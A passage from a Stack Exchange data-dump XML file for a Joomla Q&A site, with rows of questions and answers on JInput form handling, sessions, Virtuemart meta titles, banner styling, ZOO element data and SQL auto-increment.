with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer-&amp;gt;setBody($formData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I receive an email. At that, there is no name for my input &lt;code&gt;type=&quot;file&quot;&lt;/code&gt; inside of JSON line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it looks like the input &lt;code&gt;type=&quot;file&quot;&lt;/code&gt; is not being pushed to the JSON line, but why does the code stop working in this case? This is strange. How can I decode form data, convert it to my array and send an email even if I choose a file? Or how to exclude input &lt;code&gt;type=&quot;file&quot;&lt;/code&gt; from &lt;code&gt;-&amp;gt;post-&amp;gt;getArray()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for uploading and sending a file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.filesystem.file');&#xA;$file = $jinput-&amp;gt;files-&amp;gt;get('nameOfFileInput');&#xA;if(!empty($file['name'])) {&#xA;    $filename = JFile::makeSafe($file['name']);&#xA;    $src = $file['tmp_name'];&#xA;    $dest = JPATH_SITE . DIRECTORY_SEPARATOR . &quot;tmp&quot; . DIRECTORY_SEPARATOR . $filename;&#xA;    if(JFile::upload($src, $dest)) {&#xA;        $mailer-&amp;gt;addAttachment($dest);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.5.1&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="12352" LastEditDate="2018-04-06T11:49:01.010" LastActivityDate="2018-04-06T11:49:01.010" Title="Can't decode form data as json after jinput-&gt;post-&gt;getArray() if some file is chosen" Tags="|joomla-3.x|jinput|jmail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16126" PostTypeId="1" CreationDate="2016-04-12T22:19:32.050" Score="0" ViewCount="627" Body="&lt;p&gt;I have created a menu structure to show my products like this:&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TOP LEVEL CATEGORY&#xA;  -&amp;gt; PRODUCT CATEGORY A&#xA;    -&amp;gt; SUBCATEGORY A&#xA;    -&amp;gt; SUBCATEGORY B&#xA;  -&amp;gt; PRODUCT CATEGORY B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and so on.&lt;br/&gt;&#xA;I know that I can change the &lt;code&gt;meta-title&lt;/code&gt; and &lt;code&gt;meta-description&lt;/code&gt; of each category from Virtuemart, but I cannot see how to change them for the top level category, since it overwrites the Joomla menu &lt;code&gt;Browse Page Title&lt;/code&gt; and &lt;code&gt;Meta Description&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These forum posts mention that it is not possible:&lt;br/&gt;&#xA;&lt;a href=&quot;http://forum.virtuemart.net/index.php?topic=129593.0&quot; rel=&quot;nofollow&quot;&gt;Browser Page Title for Top Level Category&lt;/a&gt;&lt;br/&gt;&#xA;&lt;a href=&quot;https://forum.virtuemart.net/index.php?topic=91800.15&quot; rel=&quot;nofollow&quot;&gt;VirtueMart Categories Layout: Empty Title tag&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2016-08-11T00:52:01.877" Title="How to change Virtuemart Top Level Category Meta-Title and Meta-Description?" Tags="|virtuemart|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16127" PostTypeId="2" ParentId="16126" CreationDate="2016-04-12T22:19:32.050" Score="1" Body="&lt;p&gt;I know that this is not really a discovery, but since I couldn't find much information online, I thought I could share the thought, to save someone a couple of minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to currently change this (Virtuemart version 3.0.14, Joomla 3.5.1),&lt;br/&gt; is to &lt;strong&gt;create your own top level category&lt;/strong&gt;. If you had this category structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DEFAULT TOP LEVEL CATEGORY&#xA;  -&amp;gt; APPLES&#xA;  -&amp;gt; BANANAS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should simply do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DEFAULT TOP LEVEL CATEGORY&#xA;  -&amp;gt; FRUITS&#xA;    -&amp;gt; APPLES&#xA;    -&amp;gt; BANANAS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And build your menu structure around the Fruits category, instead of using the top level category.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2016-04-12T22:19:32.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16128" PostTypeId="2" ParentId="16119" CreationDate="2016-04-12T22:52:08.653" Score="1" Body="&lt;p&gt;I think you'll need to give a bit more detail to get an exact answer, but I suggest doing the following. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add some text to your override file in order to make sure it is actually using that file to create your log-in.  Note that the example given in the other question overrides the users component rather than the login module.  If you are using the login module, you will need to override that instead.&lt;/li&gt;&#xA;&lt;li&gt;Echo to screen the value of the return field, ie if you are using &lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;&amp;lt;?php echo base64_encode($_SERVER['HTTP_REFERER']); ?&amp;gt;&quot; /&amp;gt;&lt;/code&gt; then write &lt;code&gt;echo $_SERVER['HTTP_REFERER'];&lt;/code&gt; to screen - make sure it's the right URL.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If that does not work, I'd add the contents of your override file to your question, as that may give people more to go on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also, as an aside - patching is important and 3.4.5 is out of date, though I don't believe this is a bug relating that that)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem might be that you are using $_SERVER['QUERY_STRING']) rather than the Joomla Framework's JInput to get your URL parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also don't need that urlencode on something being base_64 encoded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, you said you wanted to redirect to a specific page, but seem to be doing this as if the return value is going to be dynamic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lanah has also pointed out that $_SERVER['HTTP_REFERER'] can point to google.com or be empty if you come to the page directly. You might want to add additional validation for such occasions when this issue is resolved.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2016-04-19T10:48:59.013" LastActivityDate="2016-04-19T10:48:59.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16129" PostTypeId="2" ParentId="16116" CreationDate="2016-04-12T23:15:53.860" Score="0" Body="&lt;p&gt;Most likely it's going to be a template style.  I assume you are using the core banners module/compenent rather than a third party one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use an elements inspector (F12 in Chrome, or Firebug is good in Firefox) and select the image to see what styles are being applied, and what file they are coming from  - I assume there is a max-width or a width set somewhere that is overriding the value you set.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-04-12T23:15:53.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16130" PostTypeId="1" CreationDate="2016-04-13T03:27:08.787" Score="1" ViewCount="2004" Body="&lt;p&gt;I created a new article. I want to this article preview show only for admin not other user.How to do this? I used plugin &quot;add menu&quot; for this but that plugin not show my problem.&lt;/p&gt;&#xA;" OwnerUserId="8228" LastActivityDate="2016-07-05T02:11:23.000" Title="how to show article preview in admin panel?" Tags="|joomla-3.x|php|component|extensions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16131" PostTypeId="2" ParentId="16130" CreationDate="2016-04-13T04:07:06.840" Score="1" Body="&lt;p&gt;By default you can't, maybe the most simple solution is via extension, try with&lt;br/&gt;some extension like &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/article-preview/better-preview&quot; rel=&quot;nofollow&quot;&gt;Better Preview&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this extension you can see the article before saving or publishing it, also&lt;br/&gt; you can restrict the access to the article in the back-end via &lt;strong&gt;ACL&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you have a complete tutorial: &lt;br/&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-04-13T04:07:06.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16132" PostTypeId="2" ParentId="16125" CreationDate="2016-04-13T06:13:20.520" Score="2" Body="&lt;p&gt;You can get file input data with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$files = $input-&amp;gt;files-&amp;gt;get('inputName');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You don't have to use &lt;code&gt;JRegistry&lt;/code&gt; and then &lt;code&gt;json_decode&lt;/code&gt; it. You will get &lt;code&gt;array&lt;/code&gt; from &lt;code&gt;$jinput-&amp;gt;post-&amp;gt;getArray()&lt;/code&gt; in first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your code could be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$formData = $jinput-&amp;gt;post-&amp;gt;getArray();&#xA;$arrayOfFields = array();&#xA;foreach($formData as $name =&amp;gt; $value) {&#xA;    if(!empty($value) &amp;amp;&amp;amp; $name !== 'submit') {&#xA;        $arrayOfFields[] = '&amp;lt;strong&amp;gt;'.$name.'&amp;lt;/strong&amp;gt;: '.$value;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But about the problem with filling file input, it should work either way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;File input is not included in &lt;code&gt;$jinput-&amp;gt;post-&amp;gt;getArray()&lt;/code&gt;, therefore the problem relies somewhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you to turn on error reporting, to see if any errors are thrown. You can see how it's done in &lt;a href=&quot;https://joomla.stackexchange.com/a/304/3944&quot;&gt;this answer&lt;/a&gt;. First point should do it, depending on your server configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can wrap your code into try-catch, to catch any thrown errors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    // Your code here&#xA;    // Create arrayOfFields and send email &#xA;} catch (Exception $e) {&#xA;    echo 'Caught exception: ',  $e-&amp;gt;getMessage(), &quot;\n&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know how it will go.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-04-13T06:13:20.520" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16133" PostTypeId="1" AcceptedAnswerId="16135" CreationDate="2016-04-13T06:49:46.190" Score="1" ViewCount="1334" Body="&lt;p&gt;I am trying to pass some &lt;strong&gt;variable&lt;/strong&gt; from a PHP module (&lt;strong&gt;Sourcerer&lt;/strong&gt;) to &lt;em&gt;custom PHP script&lt;/em&gt; using Sessions method (&lt;a href=&quot;https://stackoverflow.com/a/16778482/3565182&quot;&gt;as posted here&lt;/a&gt;). The method works fine between two PHP scripts but when I tried to implement it between a module and a script, it fails.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Overview of the my method :&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Code inside &lt;strong&gt;php module&lt;/strong&gt; :&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;session_start();&#xA;echo 'Welcome to page #1';&#xA;$_SESSION['favcolor'] = 'green';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Code inside &lt;strong&gt;php script&lt;/strong&gt; :&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;session_start();&#xA;echo 'Welcome to page #2&amp;lt;br /&amp;gt;';&#xA;echo $_SESSION['favcolor'];&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-04-13T08:20:05.203" Title="Passing variables between a PHP module and a PHP script" Tags="|php|custom-module|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16135" PostTypeId="2" ParentId="16133" CreationDate="2016-04-13T08:20:05.203" Score="3" Body="&lt;p&gt;You shouldn't use using &lt;code&gt;$_SESSION&lt;/code&gt; with Joomla, but instead &lt;code&gt;JFactory::getSession()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Module:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('favcolor', 'green');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;get('favcolor');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-13T08:20:05.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16137" PostTypeId="2" ParentId="15830" CreationDate="2016-04-13T13:42:01.807" Score="0" Body="&lt;p&gt;Will just post this as a reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up using a jQuery plugin called &lt;a href=&quot;https://github.com/jakiestfu/Mention.js&quot; rel=&quot;nofollow&quot;&gt;Mention.js&lt;/a&gt; which utilises a standalone version of Bootstrap's Typeahead plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I then wrote which is just a Beta concept is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$users = json_encode($helper-&amp;gt;getAllUsers());&#xA;&#xA;JHtml::_('script', 'mod_mymodule/mention.min.js', false, true);&#xA;JHtml::_('script', 'mod_mymodule/typeahead.min.js', false, true);&#xA;&#xA;$doc-&amp;gt;addScriptDeclaration(&quot;&#xA;    jQuery(document).ready(function($) {&#xA;&#xA;        var users = &quot; . $users . &quot;;&#xA;&#xA;        $('#element').mention({&#xA;            delimiter: '@',&#xA;            users: users,&#xA;            typeaheadOpts: {&#xA;                menu: '&amp;lt;ul class=\&quot;myclass typeahead\&quot;&amp;gt;&amp;lt;/ul&amp;gt;'&#xA;            }&#xA;        });&#xA;&#xA;    });&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-13T13:42:01.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16141" PostTypeId="2" ParentId="16116" CreationDate="2016-04-13T15:32:29.503" Score="0" Body="&lt;p&gt;This problem seems to be caused by jcarousel plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your .jcarousel-item has a inline css property setting width to 243px, check the size of container.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;jcarousel-item jcarousel-item-horizontal jcarousel-item-1 jcarousel-item-1-horizontal&quot; jcarouselindex=&quot;1&quot; style=&quot;float: left; list-style: none; width: 243px;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your pasted code only contains divs, a example with images will be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try setting .jcarousel-item img {width: auto;} but is difficult to find the problem without a live demo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update for div size:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using standard mod_banners module I must see the file default.php located at modules/mod_banners/tmpl/ directory. Seems you are using a tweaked version to use jcarousel, in standard template around the line 23:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($item-&amp;gt;type == 1) :?&amp;gt;&#xA;&amp;lt;?php // Text based banners ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Insert this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;width:&amp;lt;?php echo $item-&amp;gt;params-&amp;gt;get('width'); ?&amp;gt;px !important;height:&amp;lt;?php echo $item-&amp;gt;params-&amp;gt;get('height');?&amp;gt;px !important;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo str_replace(array('{CLICKURL}', '{NAME}'), array($link, $item-&amp;gt;name), $item-&amp;gt;custombannercode);?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8234" LastEditorUserId="8234" LastEditDate="2016-04-13T16:38:46.880" LastActivityDate="2016-04-13T16:38:46.880" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16142" PostTypeId="2" ParentId="13565" CreationDate="2016-04-13T15:42:41.560" Score="1" Body="&lt;p&gt;I solve how to acces data from elements ZOO. In files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/media/zoo/applications/YOUR_APP/templates/YOUR_TEMPLATE/renderer/item/teaser.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can add this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$element1 = $item-&amp;gt;getElement('ff944545-de96-45ed-ae24-9126ab82ca7b'); &#xA;foreach ($element1 as $self) {&#xA;    $file1 = $self['file'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Important:&#xA;&quot;ff944545-de96-45ed-ae24-9126ab82ca7b&quot; is your unique element ID;&#xA;&quot;['file']&quot; is the filed in data array;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATED in: 2016-10-04:&#xA;I found another easy way if your data was in Array:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In teaser.php or full.php you can access any information on element with code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;$status = $item-&amp;gt;getElement('0e3527e4-032c-4d35-a630-7b0418eb9ecc')-&amp;gt;getElementData()-&amp;gt;get('option');  &#xA;print_r($status['0'];   &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In some cases, 'option' need be replced by 'value'.&#xA;You need access your data base and see the structure of element like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;0e3527e4-032c-4d35-a630-7b0418eb9ecc&quot;:  {&#xA;        &quot;option&quot;:  {&#xA;            &quot;0&quot;: &quot;em-andamento&quot;&#xA;        },&#xA;        &quot;select&quot;: &quot;1&quot;&#xA;    },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See this other obeject structure ofr 'value' case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;d9f72e0a-50d3-4be7-89f4-4d30b11aa5a1&quot;:  {&#xA;        &quot;0&quot;:  {&#xA;            &quot;value&quot;: &quot;2015-11-18 02:00:00&quot;&#xA;        }&#xA;    },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2016-10-04T20:46:56.637" LastActivityDate="2016-10-04T20:46:56.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16145" PostTypeId="1" CreationDate="2016-04-13T16:05:51.680" Score="0" ViewCount="761" Body="&lt;p&gt;I am migrating a site from Joomla 1.5 to Joomla 3.5x. The old site used the JoomlaTags component, which is no longer available. I have successfully mapped the tables from old to new, and I can import them into the contentitem_tag_map table and it worked great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, any new content items that are assigned tags do not auto increment from the highest core_content_id colum value in that column, which results in duplicated values in that column, which in turn causes a compact list of tags to duplicate titles when it shouldn't.  for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content item #3 uses Core Content ID 6 and Tag ID 17&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content item #1316 was created last and assigned Core Content ID 6 due to auto increment (the highest number in the column is 720). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two different articles using the same tag and Core Content ID results in the two articles sharing the title, although they are different articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to alter the db or code so that it auto increments based on the highest number in the core_content_id column?&lt;/p&gt;&#xA;" OwnerUserId="8226" LastActivityDate="2016-04-14T05:34:21.797" Title="How to get auto increment value to start from highest number in column?" Tags="|joomla-3.x|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16146" PostTypeId="1" CreationDate="2016-04-13T16:12:57.760" Score="2" ViewCount="49" Body="&lt;p&gt;I'm working on the fields of my module as described in &lt;a href=&quot;https://stackoverflow.com/a/18911098/608042&quot;&gt;https://stackoverflow.com/a/18911098/608042&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a new field and adjusted the &lt;code&gt;version&lt;/code&gt; in the XML manifest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the usual workflow to bring these updates into Joomla 3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I upload the XML to the server and check under &lt;em&gt;Extensions &gt; Manage&lt;/em&gt;, suddenly the &lt;em&gt;Version&lt;/em&gt;, &lt;em&gt;Date&lt;/em&gt; and &lt;em&gt;Author&lt;/em&gt; cells are completely empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no option to update the module either./&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I check the form that this module defines, the new fields are missing.&#xA;Caches are disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for a short walkthrough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about auto-update possibility, but I just want to do the updates in my own environments, not for anybody.&lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-04-13T16:12:57.760" Title="Update workflow for selfmade module-extensions" Tags="|extension-update|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16147" PostTypeId="2" ParentId="15417" CreationDate="2016-04-13T16:50:07.633" Score="1" Body="&lt;p&gt;For anyone else who runs into this problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically FFrewin's response was what I was looking for, but it was not the solution to the problem. You can't override those xml files like you can for most other components. I ended up using the plugin that was suggested and it works perfectly for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/miscellaneous/form-xml-override&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/miscellaneous/form-xml-override&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7869" LastActivityDate="2016-04-13T16:50:07.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16150" PostTypeId="1" CreationDate="2016-04-13T21:34:48.360" Score="3" ViewCount="1642" Body="&lt;p&gt;I've got a category with two sub-categories, the articles appear to be &lt;strong&gt;grouped&lt;/strong&gt; in the back end by &lt;em&gt;sub-category&lt;/em&gt; and it doesn't allow me to set the article order to mix them.  Is this normal?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not how I understood it to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting that allows me to set an arbitrary order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means in the front end that I see articles sorted by article order within category, even when I set &lt;strong&gt;category&lt;/strong&gt; order to no order in the menu.&lt;/p&gt;&#xA;" OwnerUserId="8183" LastEditorUserId="126" LastEditDate="2017-01-14T12:09:53.753" LastActivityDate="2017-01-14T12:09:53.753" Title="How do I sort articles by article order in Joomla 3?" Tags="|joomla-3.x|articles|com-content|category|category-blog|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16152" PostTypeId="2" ParentId="14663" CreationDate="2016-04-14T02:43:46.303" Score="1" Body="&lt;p&gt;This is a great extension do exactly you need. I use this extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/content-statistics-extended-activity-logs&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/content-statistics-extended-activity-logs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-04-14T02:43:46.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16153" PostTypeId="2" ParentId="16145" CreationDate="2016-04-14T05:34:21.797" Score="1" Body="&lt;p&gt;You can set the &lt;code&gt;AUTO_INCREMENT&lt;/code&gt; via a direct sql query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `tableName` AUTO_INCREMENT=100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you could use the &lt;code&gt;MAX()&lt;/code&gt; function to get the value of the auto increment column as a sub-query if you needed to automate it.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2016-04-14T05:34:21.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16154" PostTypeId="1" AcceptedAnswerId="16156" CreationDate="2016-04-14T05:47:32.693" Score="3" ViewCount="2593" Body="&lt;p&gt;If I stumble upon a Joomla website ( which I have no access to either the server code, nor the admin backend), can I tell what version of Joomla it's on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read &lt;a href=&quot;https://joomla.stackexchange.com/questions/7148/how-to-get-joomla-version-by-http#comment11104_7148&quot;&gt;a comment&lt;/a&gt; to &lt;a href=&quot;https://joomla.stackexchange.com/q/7148/5735&quot;&gt;this question&lt;/a&gt;, which says that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are you referring to your own website or an external website. If&#xA;  external, then this cannot be done&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But on the other hand, I also encounter a &lt;a href=&quot;https://chrome.google.com/webstore/detail/version-check-for-joomla/nfbncfldblphagigkamkhnjnhjkdlnii?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Chrome extension&lt;/a&gt; that allows one to determine the Joomla version of any external Joomla website. So I think this is not impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can it be done by just accessing the HTML, JS, CSS files of the website and all of the tools that are available to a normal but internet savvy user?&lt;/p&gt;&#xA;" OwnerUserId="5735" LastEditorUserId="5735" LastEditDate="2018-07-05T10:57:55.503" LastActivityDate="2018-07-05T10:57:55.503" Title="How to check Joomla version if I've no accessed to the backend?" Tags="|joomla-3.x|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
